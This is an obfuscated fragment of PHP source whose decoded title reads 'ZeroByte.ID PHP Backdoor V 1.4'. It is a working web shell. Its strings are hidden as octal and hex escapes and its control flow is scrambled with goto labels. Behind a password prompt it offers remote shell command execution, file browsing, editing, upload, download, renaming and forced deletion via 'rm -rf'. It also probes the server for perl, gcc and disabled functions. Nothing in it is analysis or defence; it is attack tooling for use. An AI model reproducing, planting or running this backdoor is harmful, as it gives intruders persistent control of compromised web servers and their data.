(!empty($_GET["\160\141\x74\x68"])) { $offdir = $_GET["\x70\x61\x74\150"]; } else { if (!empty($_GET["\x66\151\154\x65"])) { $offdir = dirname($_GET["\146\151\x6c\x65"]); } else { if (!empty($_GET["\x6c\141\x73\164\160\141\x74\x68"])) { $offdir = $_GET["\154\x61\x73\x74\160\141\x74\150"]; } else { $offdir = getcwd(); } } } goto SoDsu; SoDsu: echo "\x3c\144\x69\x76\x20\143\x6c\141\163\163\x3d\x22\x6d\145\156\165\42\76\15\12\x3c\141\40\150\162\145\146\x3d\x22\77\145\170\x74\75\x6a\x75\x6d\160\165\x73\x72\x26\x6c\141\163\164\160\x61\164\x68\75"; goto O3eOq; aSNQX: session_start(); goto C7p6z; y_ady: echo php_uname(); goto BeRaR; uNQE8: if (!$_SESSION["\154\157\147\x67\145\x64\111\156"]) { echo "\15\xa\74\150\164\155\x6c\x3e\x3c\150\x65\x61\x64\76\x3c\x74\151\x74\x6c\x65\x3e\x4c\157\147\151\x6e\x3c\57\164\151\x74\x6c\x65\x3e\74\57\150\145\141\144\x3e\xd\12\x20\40\74\142\x6f\144\x79\x3e\xd\xa\40\40\x20\40\x3c\x70\76\x47\x6f\40\x3a\51\74\57\160\x3e\xd\xa\40\40\40\x20\74\x66\x6f\162\155\40\155\145\164\150\x6f\x64\75\42\160\x6f\163\164\x22\76\xd\12\x20\40\40\40\40\40\120\x61\163\163\x77\x6f\x72\x64\72\x20\74\x69\x6e\x70\x75\164\40\x74\x79\x70\x65\75\42\160\x61\x73\163\x77\x6f\162\144\42\40\156\x61\x6d\145\75\42\x70\141\163\163\167\157\x72\144\42\x3e\40\74\142\162\40\x2f\x3e\xd\xa\40\x20\x20\40\x20\x20\x3c\x69\x6e\x70\165\x74\x20\164\x79\160\x65\x3d\x22\163\165\142\155\151\164\x22\x20\156\141\155\145\x3d\42\163\165\142\x6d\x69\x74\x22\40\x76\141\x6c\x75\x65\75\42\x4c\x6f\147\x69\x6e\x22\x3e\xd\xa\x20\40\40\40\74\57\x66\x6f\162\x6d\x3e\15\12\40\x20\74\57\142\x6f\144\x79\76\xd\xa\x3c\57\150\164\x6d\154\76\xd\12\xd\12"; exit; } goto Fz2kK; f3oFO: $lendir = str_replace("\134", "\x2f", $offdir); goto lE7Vi; vSDXy: echo "\x22\x3e\x5b\40\123\150\x65\154\x6c\x20\103\157\155\155\141\x6e\x64\40\x5d\74\57\x61\76\xd\12\74\141\x20\150\162\145\146\x3d\x22\77\x65\170\164\x3d\x76\x64\x6f\x6d\141\151\156\x26\x6c\x61\x73\x74\160\x61\x74\x68\75"; goto apV1q; T_fbh: echo "\x22\x3e\133\x20\122\x65\141\144\141\x62\x6c\x65\x20\125\163\x65\162\x20\135\74\57\x61\x3e\15\xa\74\141\40\150\162\x65\x66\75\x22\77\x65\x78\164\75\x73\161\x6c\x5f\151\x6e\x74\145\x72\146\x61\x63\x65\46\154\x61\163\x74\160\141\164\x68\x3d"; goto dHMpB; hwHGa: if (empty($_GET)) { $dir = getcwd(); } else { $dir = $_GET["\x70\x61\x74\150"]; } goto SmUL_; h7uWK: error_reporting(0); goto PTS_9; EDf8j: $perl = exect("\x70\x65\162\x6c\40\55\55\150\145\154\160") ? "\74\146\157\156\x74\40\x63\x6f\154\x6f\x72\75\43\60\x30\66\66\x30\x30\76\117\116\74\x2f\146\x6f\x6e\164\x3e" : "\x3c\146\157\156\164\x20\143\157\x6c\x6f\x72\75\162\145\144\76\117\106\106\x3c\57\146\157\x6e\164\76"; goto X6f0N; PSvIh: echo $offdir; goto vSDXy; O7R_e: echo "\74\x74\x69\164\154\x65\76\132\145\x72\x6f\102\x79\x74\145\x2e\111\x44\x20\x50\x48\120\x20\x42\141\143\x6b\x64\x6f\x6f\162\40\x56\x20\x31\56\64\x3c\x2f\164\x69\x74\154\145\76\xd\12\x3c\x6c\x69\x6e\153\40\150\162\x65\146\x3d\47\x2f\x2f\x66\x6f\x6e\x74\163\56\147\157\157\147\x6c\x65\141\x70\x69\x73\x2e\x63\157\155\x2f\x63\163\163\x3f\x66\141\155\151\x6c\x79\75\x53\150\141\162\145\53\124\145\143\x68\53\x4d\x6f\156\157\47\x20\162\145\x6c\x3d\47\x73\x74\171\x6c\x65\x73\150\145\x65\x74\x27\x20\x74\x79\160\145\x3d\x27\x74\x65\x78\164\x2f\143\x73\163\x27\x3e\xd\xa\x3c\x73\x74\171\x6c\145\40\x74\171\x70\x65\75\x22\164\x65\170\x74\x2f\x63\x73\163\42\76\15\12\x9\x62\x6f\x64\171\40\x7b\15\xa\11\x9\x66\157\156\x74\55\x66\x61\x6d\151\154\x79\x3a\40\143\x6f\x75\162\151\145\x72\x3b\xd\xa\x9\x9\x62\x61\143\x6b\147\x72\x6f\165\x6e\x64\x3a\40\x23\x66\x32\146\62\x66\62\x3b\15\12\x9\11\146\x6f\x6e\x74\55\x73\151\x7a\x65\x3a\40\x31\160\170\73\xd\xa\x9\175\15\xa\11\150\61\40\141\x20\x7b\xd\xa\11\x9\x66\x6f\156\164\55\x77\145\151\x67\x68\x74\x3a\40\x6e\157\x72\x6d\x61\x6c\73\15\xa\11\x9\x66\x6f\x6e\x74\55\146\141\x6d\x69\x6c\x79\x3a\x20\x27\123\150\x61\162\145\40\x54\x65\143\150\40\x4d\157\x6e\x6f\47\x3b\xd\12\x9\11\x66\157\x6e\164\55\163\151\x7a\145\72\40\x32\60\160\x78\73\xd\12\11\x9\x63\157\154\x6f\162\72\x23\60\60\66\66\60\x30\73\xd\12\x9\x9\x74\145\x78\x74\55\144\x65\x63\157\162\141\164\151\157\156\x3a\x20\x6e\157\x6e\145\x3b\xd\xa\x9\x9\155\141\162\147\x69\156\x3a\x20\60\x70\170\73\xd\xa\x9\175\15\12\11\x68\x32\x20\173\15\xa\x9\x9\x66\157\x6e\164\x2d\163\151\x7a\145\72\x20\62\x30\x70\x78\73\xd\12\x9\11\143\157\154\x6f\x72\x3a\x20\x23\60\x30\x36\x36\60\x30\x3b\xd\12\x9\x9\x74\145\x78\164\x2d\141\154\x69\147\x6e\x3a\40\143\145\x6e\164\145\x72\x3b\xd\xa\x9\x9\x70\141\144\x64\151\x6e\x67\55\164\x6f\x70\72\40\65\160\170\73\xd\12\x9\11\x6d\141\162\147\151\156\72\x20\60\73\15\xa\x9\11\155\141\x72\x67\151\156\x2d\x74\157\x70\72\40\61\60\x70\170\73\xd\xa\x9\175\xd\xa\11\56\x6d\145\156\x75\40\173\15\xa\11\11\x74\145\x78\164\55\x61\154\x69\147\x6e\72\x20\x63\x65\156\x74\145\x72\x3b\xd\12\x9\11\x66\157\x6e\x74\x2d\163\151\172\145\x3a\x20\61\62\x70\170\x3b\xd\xa\11\x9\142\x6f\x72\x64\145\x72\x2d\x62\157\x74\164\157\155\72\x20\x31\x70\170\x20\x64\x61\163\x68\x65\x64\x20\x23\60\60\66\x36\x30\x30\x3b\xd\12\11\x9\x70\x61\x64\144\x69\156\147\55\142\x6f\164\164\x6f\x6d\72\40\x35\160\x78\x3b\15\12\11\11\155\141\x72\x67\151\156\55\x62\157\164\164\157\155\72\x20\61\x30\x70\x78\73\15\xa\x9\x7d\xd\12\x9\x2e\155\145\156\x75\x20\141\x20\173\15\12\x9\x9\155\141\x72\x67\x69\x6e\55\164\157\160\72\x20\62\x70\170\73\xd\xa\11\x9\143\x6f\x6c\157\162\x3a\40\x23\x30\60\x36\x36\x30\60\x3b\xd\12\x9\x9\164\x65\170\x74\55\x64\x65\x63\x6f\162\x61\x74\151\x6f\156\x3a\40\156\x6f\156\x65\73\xd\12\11\x9\x64\151\163\x70\154\x61\x79\72\40\x69\156\154\x69\x6e\x65\55\x62\x6c\x6f\143\153\x3b\15\12\x9\175\xd\12\11\x2e\143\x6f\x6e\x74\141\x69\x6e\x65\x72\40\x7b\15\xa\11\11\x66\x6f\x6e\x74\x2d\163\151\172\x65\x3a\40\x31\62\x70\x78\73\15\xa\x9\x7d\xd\xa\11\x2e\x66\151\x6c\x65\x6d\x67\162\40\x7b\xd\12\x9\x9\146\x6f\156\x74\55\x73\x69\172\145\72\x20\61\x32\x70\x78\73\15\12\x9\11\167\x69\144\164\150\x3a\x20\x31\x30\60\45\15\12\x9\x7d\15\xa\11\56\146\x69\x6c\145\155\x67\162\40\x74\x64\x20\x7b\xd\12\11\x9\160\141\x64\144\x69\156\x67\72\40\63\160\170\73\15\12\11\x9\142\x6f\162\144\145\x72\55\x62\x6f\x74\x74\x6f\155\x3a\40\61\x70\170\40\144\x61\x73\150\145\144\x20\43\60\60\66\x36\60\x30\x3b\15\12\11\175\15\xa\x9\x2e\x66\151\154\145\x6d\147\x72\40\x61\x7b\xd\xa\x9\x9\x74\145\x78\x74\x2d\x64\145\x63\157\162\141\x74\x69\157\x6e\72\x20\x6e\157\156\145\73\xd\12\x9\11\x63\x6f\154\x6f\x72\x3a\x23\60\60\66\x36\x30\60\73\15\12\x9\175\xd\12\11\x74\162\72\x68\157\166\145\162\x20\173\15\12\11\x9\x62\141\x63\x6b\147\162\x6f\x75\x6e\x64\x3a\x20\43\x63\x63\143\x63\143\x63\73\xd\12\11\x7d\xd\12\11\56\x74\144\164\154\x20\x7b\xd\12\11\x9\142\141\x63\153\x67\x72\x6f\x75\x6e\x64\x3a\x23\x30\x30\66\66\x30\60\73\143\157\x6c\x6f\162\x3a\43\x66\x66\x66\x66\146\x66\x3b\x74\145\170\x74\55\141\154\x69\147\156\x3a\x63\145\x6e\x74\x65\x72\x3b\146\x6f\156\x74\x2d\x77\145\x69\147\x68\x74\72\x62\x6f\x6c\x64\x3b\15\xa\x9\175\xd\12\x9\56\146\157\x6f\x74\x65\162\40\x7b\xd\12\x9\11\x74\x65\170\164\x2d\x61\x6c\x69\147\x6e\72\x20\143\145\x6e\164\x65\x72\x3b\15\12\11\11\142\157\162\x64\145\x72\x2d\x72\141\144\x69\x75\x73\x3a\x20\x33\x30\x70\x78\73\xd\12\x9\11\x6d\x61\162\147\x69\x6e\x2d\164\157\160\72\x20\62\x35\160\x78\73\15\12\11\x9\x62\157\162\x64\145\x72\x2d\164\x6f\x70\x3a\x20\x31\160\170\40\x64\157\x75\x62\x6c\145\x20\x23\x30\60\x36\x36\x30\60\x3b\xd\xa\11\x9\x70\141\144\144\x69\156\147\x3a\x20\65\x70\x78\73\15\xa\x9\175\15\xa\x9\56\146\x6f\x6f\164\x65\162\x20\x61\40\x7b\xd\12\x9\11\143\157\x6c\x6f\x72\72\x20\43\x30\x30\x36\x36\60\60\73\15\xa\x9\x9\x74\145\x78\164\x2d\144\145\143\157\x72\x61\x74\x69\x6f\156\72\40\156\157\x6e\x65\x3b\xd\12\x9\175\xd\xa\x9\x70\40\x7b\xd\xa\x20\40\40\40\11\x77\157\162\x64\x2d\167\x72\141\160\72\40\x62\x72\145\141\153\55\x77\157\x72\144\73\xd\12\x20\40\x20\40\x9\x6d\x61\x72\x67\x69\156\x3a\x32\x3b\xd\xa\x9\175\15\xa\11\x61\40\x7b\xd\xa\11\11\x74\x65\170\164\55\144\145\x63\157\162\x61\164\151\x6f\156\72\x20\x6e\157\x6e\145\73\15\xa\11\x9\x63\x6f\x6c\157\162\x3a\40\43\60\x30\x36\66\x30\x30\x3b\xd\12\x9\175\xd\12\11\x2e\x61\x63\164\40\173\xd\12\11\11\164\145\170\164\55\141\x6c\151\147\x6e\x3a\40\143\145\156\x74\x65\x72\x3b\xd\12\x9\175\xd\12\x9\x2e\164\170\x61\162\145\x61\x20\173\xd\xa\11\x9\167\x69\x64\x74\150\x3a\61\60\60\45\x3b\15\xa\x9\11\150\x65\151\147\150\164\x3a\x32\60\60\x70\x78\73\xd\12\x9\x9\142\x61\143\153\147\162\157\165\x6e\x64\x3a\x74\162\x61\156\x73\x70\141\x72\145\x6e\164\73\xd\12\11\x9\142\157\162\144\145\162\x3a\61\x70\x78\40\163\x6f\x6c\x69\x64\40\43\60\60\66\66\x30\60\x3b\15\xa\11\x9\x70\x61\144\x64\151\156\x67\72\61\160\170\73\143\x6f\154\x6f\162\x3a\x23\60\x30\66\x36\60\60\73\15\xa\11\175\xd\xa\x9\x68\64\x20\x7b\xd\xa\11\11\155\x61\x72\147\x69\x6e\x3a\60\x3b\15\xa\11\x7d\xd\xa\74\57\x73\164\171\154\145\x3e\xd\xa\x3c\144\x69\x76\40\x63\154\141\x73\x73\75\x22\143\x6f\x6e\x74\141\151\156\x65\x72\42\76\15\xa\x3c\x64\151\x76\40\163\x74\x79\x6c\145\75\x22\160\157\x73\x69\164\x69\157\x6e\72\162\145\x6c\141\164\x69\x76\145\73\167\151\144\164\150\72\40\61\60\x30\45\73\x6d\141\162\147\151\x6e\55\x62\157\x74\164\157\155\x3a\x20\x35\160\x78\x3b\142\x6f\162\x64\x65\162\x2d\x62\x6f\164\x74\x6f\155\x3a\x20\61\160\170\40\144\141\x73\150\145\x64\x20\x23\60\60\66\66\x30\60\x3b\x22\76\xd\12\11\74\144\x69\x76\40\x73\x74\171\154\x65\x3d\x22\146\154\157\141\x74\x3a\40\154\x65\x66\164\x3b\x77\x69\144\x74\150\72\40\61\x35\x25\73\164\x65\x78\164\x2d\141\x6c\x69\x67\156\72\x20\x63\x65\x6e\164\145\x72\x3b\142\157\162\x64\145\x72\72\40\x31\x70\170\x20\144\141\163\x68\x65\x64\x20\x23\60\x30\x36\66\x30\60\x3b\155\x61\x72\147\151\156\55\142\x6f\x74\164\157\x6d\72\40\x35\160\170\x3b\42\x3e\xd\12\11\x3c\x68\61\76\x3c\x61\x20\x68\162\145\146\x3d\x22\77\42\x3e\132\145\x72\157\x42\x79\164\145\x2e\x49\104\74\x62\x72\x3e\x3c\163\155\141\154\154\x3e\x53\150\x65\154\x6c\x20\126\x20\61\x2e\64\74\57\x73\x6d\x61\x6c\154\x3e\74\x2f\x61\x3e\74\x2f\x68\x31\76\xd\xa\x9\74\x2f\144\x69\x76\x3e\xd\xa\x9\x3c\x64\x69\166\40\163\164\171\154\145\x3d\x22\x66\154\157\x61\x74\72\x20\162\x69\x67\150\x74\x3b\167\x69\144\x74\150\x3a\x20\70\63\45\x3b\x22\x3e\xd\12\x9"; goto y_ady; G3l6g: echo "\46\x63\157\160\x79\x3b\x20\x32\60\61\70\40\55\x20\x3c\x61\40\x68\162\145\146\75\x22\x68\x74\x74\x70\163\72\57\x2f\172\145\x72\x6f\x62\x79\x74\145\56\151\x64\x2f\42\40\x72\145\154\x3d\x22\x6e\157\146\157\x6c\x6c\x6f\x77\x22\40\x74\141\x72\147\x65\x74\75\x22\x5f\142\x6c\141\156\x6b\42\x3e"; goto IVvbD; zD91E: if (isset($_POST["\160\x61\163\x73\x77\157\x72\x64"])) { if (sha1($_POST["\160\141\163\x73\167\157\162\144"]) == $password) { $_SESSION["\x6c\157\147\x67\x65\144\111\x6e"] = true; } else { die("\111\x6e\143\x6f\x72\162\x65\143\x74\40\x70\x61\x73\163\x77\157\162\144"); } } goto uNQE8; Fz2kK: set_time_limit(0); goto h7uWK; X6f0N: $gcc = exect("\x67\143\x63\x20\x2d\x2d\x68\x65\x6c\x70") ? "\x3c\x66\157\x6e\x74\40\143\x6f\154\x6f\x72\x3d\x23\60\x30\66\66\x30\x30\76\117\x4e\74\57\x66\x6f\156\x74\76" : "\x3c\146\157\x6e\x74\x20\143\157\154\157\x72\75\x72\x65\144\x3e\x4f\x46\106\x3c\x2f\146\x6f\156\x74\x3e"; goto wwLx_; I2C3l: echo "\x3c\144\151\x76\x20\x73\164\171\154\145\x3d\x22\x6d\141\162\147\151\156\55\x62\x6f\x74\x74\x6f\x6d\x3a\61\x30\x70\170\x3b\42\x3e"; goto U0Yps; ZW2jW: echo "\x3c\x70\76\x44\x69\x73\x61\142\154\145\x20\106\165\x6e\x63\164\x69\x6f\x6e\x3a\40" . $show_disf; goto acsND; Eg0so: $show_disf = !empty($disfunc) ? "\74\146\x6f\156\164\40\x63\x6f\x6c\x6f\162\x3d\162\145\x64\x3e{$disfunc}\x3c\57\x66\x6f\156\164\76" : "\x3c\x66\157\x6e\164\x20\143\157\154\x6f\x72\x3d\43\60\60\66\x36\60\x30\76\116\x4f\x4e\105\74\57\x66\157\156\x74\76"; goto hFsDZ; lE7Vi: $xlendir = explode("\57", $lendir); goto vtcmh; U0Yps: echo "\74\x73\x70\x61\x6e\x20\x73\x74\171\x6c\145\x3d\42\142\x6f\x72\x64\x65\x72\72\x31\160\x78\x20\x64\141\163\150\145\x64\40\x23\60\x30\71\x39\x30\60\73\160\141\x64\x64\x69\156\147\72\x32\x70\x78\x3b\42\x3e"; goto f3oFO; gCVtY: if ($_GET["\141\x63\x74\x69\157\156"] == "\145\x64\151\x74") { goto yrXKn; AcfUZ: echo "\74\146\157\x72\155\40\x6d\145\164\x68\x6f\x64\75\47\160\x6f\163\164\x27\x3e\15\12\11\x3c\x74\x65\x78\x74\x61\x72\x65\x61\40\156\141\155\145\x3d\47\163\162\x63\47\x20\x63\x6c\141\x73\x73\75\x27\x74\170\141\162\x65\x61\47\76" . htmlspecialchars(@file_get_contents($_GET["\x66\151\154\x65"])) . "\x3c\57\164\x65\x78\164\x61\x72\x65\x61\x3e\74\x62\x72\x3e\15\xa\11\x3c\151\156\160\165\x74\x20\164\x79\x70\x65\x3d\x27\163\165\x62\x6d\x69\x74\x27\x20\166\141\x6c\x75\145\x3d\47\123\141\x76\x65\47\x20\156\x61\x6d\145\75\x27\163\x61\166\x65\x27\x20\x73\x74\171\154\145\x3d\x27\167\151\x64\x74\150\x3a\40\x32\x30\45\73\142\x61\143\x6b\147\162\x6f\165\156\x64\x3a\43\60\60\x36\66\x30\60\73\x62\157\x72\144\145\x72\x3a\x6e\157\x6e\145\x3b\x63\x6f\154\x6f\162\x3a\43\x66\x32\146\x32\x66\62\x3b\155\141\162\x67\151\x6e\55\x74\x6f\x70\x3a\65\x70\170\x3b\150\x65\x69\x67\150\164\72\63\60\160\170\x3b\47\76\15\12\11\74\x2f\x66\157\x72\155\x3e"; goto EURCl; yrXKn: if ($_POST["\x73\141\x76\145"]) { goto a56I0; a56I0: $save = file_put_contents($_GET["\x66\151\154\145"], $_POST["\x73\x72\x63"]); goto M81Ib; NRfqk: echo '' . $act . "\x3c\x62\x72\76"; goto iVbIT; M81Ib: if ($save) { $act = "\x3c\x66\157\156\164\40\143\157\x6c\x6f\162\75\43\x30\60\x36\x36\60\60\76\x53\x75\x63\143\x65\x73\163\x65\x64\x21\x3c\57\x66\x6f\156\x74\x3e"; } else { $act = "\x3c\146\x6f\x6e\x74\40\x63\x6f\x6c\157\x72\75\162\x65\x64\76\x50\145\x72\155\151\x73\163\151\x6f\x6e\x20\104\x65\156\x69\145\144\x21\74\x2f\x66\x6f\x6e\164\76"; } goto NRfqk; iVbIT: } goto D7aQE; D7aQE: echo "\106\x69\x6c\x65\156\141\x6d\145\72\x20\74\146\157\156\x74\40\143\157\x6c\157\x72\x3d\43\x30\x30\66\x36\60\60\76" . basename($_GET["\x66\151\x6c\x65"]) . "\74\x2f\x66\157\156\x74\76"; goto AcfUZ; EURCl: } else { if ($_GET["\x61\143\164\x69\157\x6e"] == "\166\151\x65\x77") { echo "\x46\151\x6c\145\156\x61\155\x65\72\40\74\x66\x6f\156\x74\x20\143\x6f\x6c\157\x72\75\43\x30\60\66\66\x30\60\x3e" . basename($_GET["\x66\x69\x6c\145"]) . "\x3c\x2f\146\157\156\164\x3e"; echo "\x3c\164\145\x78\x74\x61\162\x65\141\40\x63\x6c\141\x73\x73\75\47\164\x78\x61\162\x65\141\x27\40\163\x74\171\154\x65\x3d\47\150\145\x69\147\x68\164\x3a\64\x30\x30\160\170\x3b\47\x20\x72\145\x61\144\157\156\x6c\171\76" . htmlspecialchars(@file_get_contents($_GET["\x66\151\154\145"])) . "\x3c\57\x74\145\170\x74\141\162\x65\x61\76"; } else { if ($_GET["\141\143\x74\x69\x6f\156"] == "\x72\x65\x6e\x61\x6d\145") { goto Gkcky; itUjE: echo "\74\146\157\162\155\x20\x6d\x65\x74\x68\x6f\x64\75\x27\x70\x6f\x73\164\x27\76\xd\12\11\x3c\x69\x6e\x70\x75\x74\40\x74\171\160\x65\x3d\47\x74\145\170\164\47\40\166\x61\x6c\x75\145\x3d\47" . basename($_GET["\146\151\154\x65"]) . "\x27\x20\x6e\141\155\x65\x3d\47\162\145\x6e\141\155\x65\x27\x20\x73\164\171\x6c\x65\75\47\x77\x69\144\x74\150\x3a\x20\64\x35\x30\x70\170\73\47\40\x68\x65\x69\147\150\x74\x3d\x27\61\60\47\76\15\xa\x9\x3c\x69\156\x70\165\x74\x20\x74\x79\160\x65\75\x27\x73\x75\142\x6d\x69\x74\47\40\x6e\141\x6d\145\x3d\x27\x64\x6f\137\x72\145\156\x61\155\145\47\x20\166\x61\154\165\145\x3d\x27\162\x65\156\x61\155\145\47\76\15\12\11\74\x2f\146\157\162\x6d\x3e"; goto VJjn3; htwQZ: if ($_POST["\144\157\x5f\x72\145\x6e\141\155\x65"]) { goto X5dKz; wk1bU: if ($rename) { $act = "\74\146\x6f\156\x74\40\143\157\x6c\157\162\x3d\43\x30\x30\x36\66\60\60\76\123\x75\x63\143\x65\163\x73\x65\144\x21\x3c\x2f\x66\x6f\x6e\x74\76"; } else { $act = "\74\x66\157\x6e\x74\x20\x63\157\x6c\x6f\x72\75\x72\145\144\x3e\120\x65\x72\x6d\151\x73\163\151\157\x6e\x20\x44\x65\x6e\151\145\x64\x21\x3c\x2f\x66\x6f\x6e\164\x3e"; } goto Nh7HQ; Nh7HQ: echo '' . $act . "\74\142\x72\x3e"; goto TfakS; X5dKz: $rename = rename($_GET["\146\151\x6c\x65"], "{$path}\57" . htmlspecialchars($_POST["\x72\x65\x6e\141\x6d\145"]) . ''); goto wk1bU; TfakS: } goto tctQ8; tctQ8: echo "\106\x69\154\145\x6e\141\155\145\72\40\x3c\146\x6f\156\x74\40\143\x6f\x6c\157\x72\x3d\x23\x30\60\x36\66\x30\x30\76" . basename($_GET["\146\151\154\145"]) . "\x3c\x2f\x66\157\156\x74\x3e"; goto itUjE; Gkcky: $path = $offdir; goto htwQZ; VJjn3: } else { if ($_GET["\141\143\x74\x69\x6f\156"] == "\x64\x65\154\145\x74\145") { goto jkZo8; jkZo8: $path = $offdir; goto q1wIk; K9poz: if ($delete) { } else { $act = "\x3c\x66\157\x6e\x74\40\143\x6f\154\157\162\75\162\145\144\x3e\x50\x65\162\155\151\x73\x73\x69\157\156\x20\x44\x65\156\151\x65\x64\41\74\57\x66\157\156\x74\76"; } goto ACp2l; q1wIk: $delete = unlink($_GET["\x66\151\x6c\x65"]); goto K9poz; ACp2l: echo $act; goto ru_23; ru_23: } else { if ($_GET["\141\143\x74\x69\157\156"] == "\x72\x6d\x64\x69\162") { goto vGAgh; u5EWt: $delete = rmdir($_GET["\146\x69\x6c\145"]); goto vW9J0; vW9J0: if ($delete) { echo "\74\146\x6f\156\164\40\x63\157\154\157\162\x3d\x23\x30\x30\66\66\x30\60\76\x44\145\x6c\x65\x74\145\x64\41\74\57\x66\157\156\x74\x3e\74\142\162\76"; } else { goto EWGAq; L3fpF: if (file_exists($_GET["\146\x69\x6c\x65"])) { echo "\74\146\x6f\x6e\x74\40\x63\x6f\154\x6f\x72\x3d\162\x65\x64\76\120\x65\162\155\x69\163\x73\151\x6f\x6e\x20\x44\145\156\151\x65\144\x21\x3c\57\x66\x6f\156\164\x3e"; } else { echo "\74\x66\x6f\156\164\40\x63\157\154\157\x72\75\43\60\x30\x36\x36\x30\x30\76\104\145\x6c\145\164\x65\144\x21\74\x2f\146\157\156\164\76"; } goto BEbbz; ABH_v: exect("\x72\x6d\x20\x2d\162\x66\40" . $_GET["\146\151\154\x65"]); goto L3fpF; EWGAq: echo "\12\74\x66\157\x6e\164\40\143\x6f\x6c\157\162\75\x72\145\x64\76\x45\162\x72\x6f\x72\x20\x72\x65\155\x6f\166\x65\40\x64\x69\x72\54\x20\x74\162\171\40\x74\157\40\146\157\162\x63\145\x20\144\145\154\145\x74\x65\x21\74\57\146\157\156\164\x3e\12\x3c\x62\162\76"; goto ABH_v; BEbbz: } goto L0s_V; vGAgh: $path = $offdir; goto u5EWt; L0s_V: } else { if ($_GET["\x61\143\x74\x69\x6f\x6e"] == "\144\157\x77\156\x6c\157\141\144") { goto Y7OZV; k6no4: exit; goto Ms4D7; lRAcd: $file = $_GET["\146\x69\x6c\x65"]; goto ex0lE; iZWjH: header("\120\162\141\147\x6d\141\x3a\40\160\165\142\x6c\151\143"); goto rD7fK; ex0lE: header("\x43\157\x6e\x74\x65\x6e\164\x2d\x44\145\x73\x63\162\151\x70\164\151\157\x6e\72\40\x46\151\154\x65\40\x54\x72\141\156\x73\146\145\x72"); goto Xq5EA; q1dpK: readfile($file); goto k6no4; Y7OZV: @ob_clean(); goto lRAcd; OkKlg: header("\x43\x61\x63\150\x65\x2d\103\x6f\x6e\164\162\157\x6c\x3a\40\155\165\x73\164\55\162\145\x76\141\154\x69\x64\141\x74\x65"); goto iZWjH; pnZQg: header("\103\157\156\x74\x65\156\x74\55\104\x69\163\x70\157\x73\151\x74\151\x6f\x6e\72\x20\x61\x74\x74\141\143\x68\155\x65\x6e\164\x3b\x20\146\x69\x6c\145\156\x61\x6d\x65\75\x22" . basename($file) . "\42"); goto AIfEy; rD7fK: header("\x43\x6f\156\x74\145\156\x74\x2d\114\x65\156\x67\164\x68\72\40" . filesize($file)); goto q1dpK; AIfEy: header("\x45\x78\x70\x69\162\x65\163\x3a\40\x30"); goto OkKlg; Xq5EA: header("\x43\x6f\x6e\164\145\x6e\164\x2d\124\x79\x70\x65\x3a\40\x61\x70\x70\154\151\x63\x61\164\151\x6f\156\x2f\157\x63\x74\x65\x74\55\x73\x74\x72\145\x61\x6d"); goto pnZQg; Ms4D7: } else { if ($_GET["\145\x78\x74"] == "\163\x68\145\154\x6c\x63\x6d\x64") { goto L5rK6; kqz1P: echo "\164\145\162\x6d\x69\x6e\x61\154\72\176\x24\40\74\x69\x6e\160\165\x74\x20\x6e\141\x6d\x65\x3d\42\143\155\x64\42\x20\164\171\x70\145\x3d\x22\164\145\x78\x74\42\40\160\154\141\x63\x65\150\157\154\144\x65\x72\x3d\x22\x65\143\x68\x6f\x20\172\x65\x72\x6f\142\171\164\x65\42\x20\163\164\x79\154\145\x3d\42\167\x69\144\x74\150\x3a\x33\60\x30\160\x78\42\57\x3e"; goto GeCRw; Y8rgp: echo "\x3c\57\x66\x6f\x72\x6d\x3e"; goto XTcYd; hcnF0: echo "\x3c\x66\157\162\x6d\40\155\x65\x74\150\157\x64\75\42\x70\x6f\x73\x74\42\40\141\x63\164\x69\x6f\156\75\x22\x22\76"; goto kqz1P; L5rK6: echo "\x3c\150\62\x3e\x2e\72\x3a\133\x20\x53\x68\x65\x6c\154\x20\x43\x6f\x6d\155\141\x6e\x64\x20\135\72\72\x2e\74\57\x68\62\x3e"; goto hcnF0; GeCRw: echo "\x20\74\151\156\x70\165\x74\x20\x74\x79\x70\x65\75\42\x73\x75\x62\x6d\151\x74\42\40\166\x61\154\165\x65\x3d\x22\x3e\76\42\x2f\76"; goto Y8rgp; XTcYd: if (!empty($_POST["\x63\155\x64"])) { goto XvDmt; r0QcQ: echo exect($cmd); goto AkOUI; OTfLk: $cmd = $_POST["\143\x6d\x64"]; goto r0QcQ; XvDmt: echo "\74\164\145\170\x74\141\162\145\x61\x20\163\x74\x79\x6c\x65\x3d\x22\x77\151\x64\x74\x68\x3a\61\x30\60\x25\73\x68\145\151\x67\x68\164\x3a\61\x35\x30\160\170\x3b\42\40\x72\x65\x61\144\157\156\x6c\x79\76"; goto OTfLk; AkOUI: echo "\x3c\x2f\x74\x65\170\164\x61\162\x65\141\76"; goto KxOkN; KxOkN: } goto eVdHN; eVdHN: } else { if ($_GET["\x65\170\164"] == "\x75\x70\154\157\141\x64\145\162") { goto I8LvS; I8LvS: echo "\74\150\62\76\x2e\x3a\72\x5b\40\125\160\x6c\157\141\144\x65\x72\x20\x5d\72\x3a\56\x3c\57\150\x32\76"; goto dNE4t; ux7Nv: echo "\74\x2f\x66\157\162\155\x3e"; goto zUHYp; LnbdM: echo "\x3c\151\156\x70\165\164\40\x74\171\x70\x65\75\x22\x66\151\154\145\42\40\156\x61\155\x65\75\x22\x7a\x65\x72\157\x66\151\154\x65\42\76\74\x69\156\x70\165\164\40\x6e\x61\x6d\145\x3d\42\160\x6f\163\x74\165\x70\154\42\40\164\171\160\145\75\x22\163\x75\x62\x6d\151\164\42\x20\x76\141\154\x75\145\75\x22\x55\160\x6c\157\x61\144\42\76\x3c\x62\162\76"; goto ux7Nv; QUT9z: echo "\x3c\x62\162\x3e\x3c\142\x72\76\x50\101\124\x48\x20\133" . $offdir . "\x5d\x3c\142\162\x3e"; goto LnbdM; huR55: echo "\x3c\x66\x6f\162\155\x20\x6d\145\164\150\x6f\x64\75\160\x6f\x73\164\x20\x65\156\143\164\171\x70\x65\75\155\165\x6c\x74\151\x70\x61\x72\x74\57\x66\157\x72\155\55\144\141\164\x61\x3e"; goto QUT9z; zUHYp: if ($_POST["\x70\157\x73\x74\165\160\154"] == "\125\x70\x6c\157\x61\x64") { if (@copy($_FILES["\172\x65\162\157\x66\151\x6c\x65"]["\164\155\160\137\x6e\141\155\x65"], "{$offdir}\x2f" . $_FILES["\x7a\145\x72\x6f\x66\x69\154\x65"]["\x6e\141\155\x65"])) { echo "\x3c\142\x3e\x4f\x4b\x21\x20" . "{$offdir}\57" . $_FILES["\x7a\x65\162\157\146\151\154\x65"]["\156\141\x6d\x65"] . "\x3c\57\142\x3e"; } else { echo "\74\x62\76\125\160\x6c\157\141\x64\x20\x46\141\x69\x6c\x65\144\56\74\57\x62\x3e"; } } goto ElxcP; ElxcP: echo 